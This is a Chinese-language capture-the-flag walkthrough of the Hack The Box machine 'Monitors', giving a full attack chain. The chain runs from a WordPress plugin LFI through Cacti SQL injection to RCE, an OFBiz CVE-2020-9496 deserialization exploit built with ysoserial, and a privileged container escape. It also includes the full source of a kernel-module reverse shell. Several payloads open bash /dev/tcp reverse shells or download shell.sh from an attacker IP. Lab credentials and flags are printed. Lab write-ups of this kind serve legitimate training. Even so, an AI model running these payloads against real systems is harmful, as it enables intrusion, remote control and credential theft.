[Meachines] [Hard] Monitors spritz-LFI+cacti-SQLI+OFBiz-Des+LKM-Rootkit特權升級
字数 1055 2025-08-22 12:23:06
综合渗透测试实战教学:从信息收集到Rootkit提权
1. 信息收集与初始访问
1.1 目标识别与端口扫描
目标IP: 10.10.10.238
使用Masscan进行快速端口扫描:
ip='10.10.10.238'; itf='tun0'
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
Nmap详细扫描结果:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
1.2 WordPress站点发现与LFI漏洞利用
- 添加hosts记录:
echo '10.10.10.238 monitors.htb' >> /etc/hosts
- 使用WPScan扫描WordPress:
wpscan --url 'http://monitors.htb/'
- 发现wp-with-spritz插件存在LFI漏洞:
curl http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/etc/passwd
- 使用pany.py自动化工具读取敏感文件:
python3 pany.py -u 'http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/etc/apache2/sites-enabled/monitors.htb.conf'
python3 pany.py -u 'http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/var/www/wordpress/wp-config.php'
获取到WordPress管理员凭据:
username: wpadmin
password: BestAdministrator@2020!
2. Cacti系统SQL注入与RCE
2.1 发现Cacti子系统
- 添加hosts记录:
echo '10.10.10.238 cacti-admin.monitors.htb' >> /etc/hosts
- 访问Cacti登录页面:
http://cacti-admin.monitors.htb/cacti/index.php
2.2 SQL注入攻击
利用color.php的SQL注入漏洞:
/cacti/color.php?action=export&header=false&filter=1')+UNION+SELECT+1,username,@@VERSION,4,5,6,7+from+user_auth;--+-
2.3 通过path_php_binary实现RCE
- 修改settings表中的path_php_binary值为恶意命令:
#!/bin/bash
payload='bash -c "bash -i >& /dev/tcp/10.10.16.24/443 0>&1"'
encoded_payload=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
curl -s -b "$COOKIE_JAR" "http://cacti-admin.monitors.htb/cacti/color.php?action=export&header=false&filter=1')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='$encoded_payload'+where+name='path_php_binary';--+-"
- 触发命令执行:
curl -s -b "$COOKIE_JAR" "http://cacti-admin.monitors.htb/cacti/host.php?action=reindex"
3. 横向移动与权限提升
3.1 获取marcus用户凭据
在Cacti系统中发现marcus用户密码:
marcus: Dlink
3.2 使用dlink工具建立持久通道
- 传输dlink工具到目标:
nc -lvnp 10032 > dlink
nc 10.10.10.238 10032 < ./dlink_v2_linux_x64
- 启动dlink服务器:
./dlink server --port 10099 --path /tmp --key abcdefgh --reverse
- 在目标上运行客户端:
./dlink client --endpoint "10.10.16.24:10099" --path /tmp --key abcdefgh --reverse
- 发现备份脚本中的密码:
cat /home/marcus/.backup/backup.sh
获取密码:VerticalEdge2020
4. OFBiz反序列化漏洞利用
4.1 发现OFBiz服务
通过端口转发访问本地OFBiz服务:
ssh -L 8443:127.0.0.1:8443 marcus@10.10.10.238
4.2 利用CVE-2020-9496反序列化漏洞
- 使用ysoserial生成payload:
java -jar ./ysoserial-all.jar CommonsBeanutils1 "wget $ip/shell.sh -O /tmp/shell.sh" | base64 | tr -d "\n"
- 发送恶意请求:
curl -s $url:$port/webtools/control/xmlrpc -X POST -d "<?xml version='1.0'?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns='http://ws.apache.org/xmlrpc/namespaces/extensions'>$payload</serializable></value></member></struct></value></param></params></methodCall>" -k -H 'Content-Type:application/xml'
- 执行下载的shell:
java -jar ./ysoserial-all.jar CommonsBeanutils1 "bash /tmp/shell.sh" | base64 | tr -d "\n"
5. 容器逃逸与内核提权
5.1 容器环境检测
检查容器环境:
capsh --print
发现容器具有完整Linux capability权限集合(+eip)
5.2 使用特权容器逃逸
利用docker特权模式逃逸:
docker --privileged
5.3 LKM Rootkit提权
- 创建reverse-shell.c内核模块:
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.16.24/443 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
- 编译并加载内核模块:
make
insmod reverse-shell.ko
6. 关键凭证与标志
-
WordPress管理员凭证:
username: wpadmin password: BestAdministrator@2020! -
Marcus用户凭证:
username: marcus password: VerticalEdge2020 -
用户标志:
0e688674f135be38246e99ddcc34f006 -
Root标志:
59ed7901b1a0b8aa9eaaf42d78d38796
7. 总结
本渗透测试过程展示了从初始信息收集到最终获取root权限的完整攻击链,涉及以下关键技术点:
- WordPress插件LFI漏洞利用
- Cacti系统SQL注入与配置修改实现RCE
- 凭证重用与横向移动
- OFBiz反序列化漏洞利用
- 容器环境检测与逃逸
- Linux内核模块Rootkit提权
每个环节都充分利用了系统配置错误和已知漏洞,展示了现代渗透测试中常见的攻击路径和技术组合。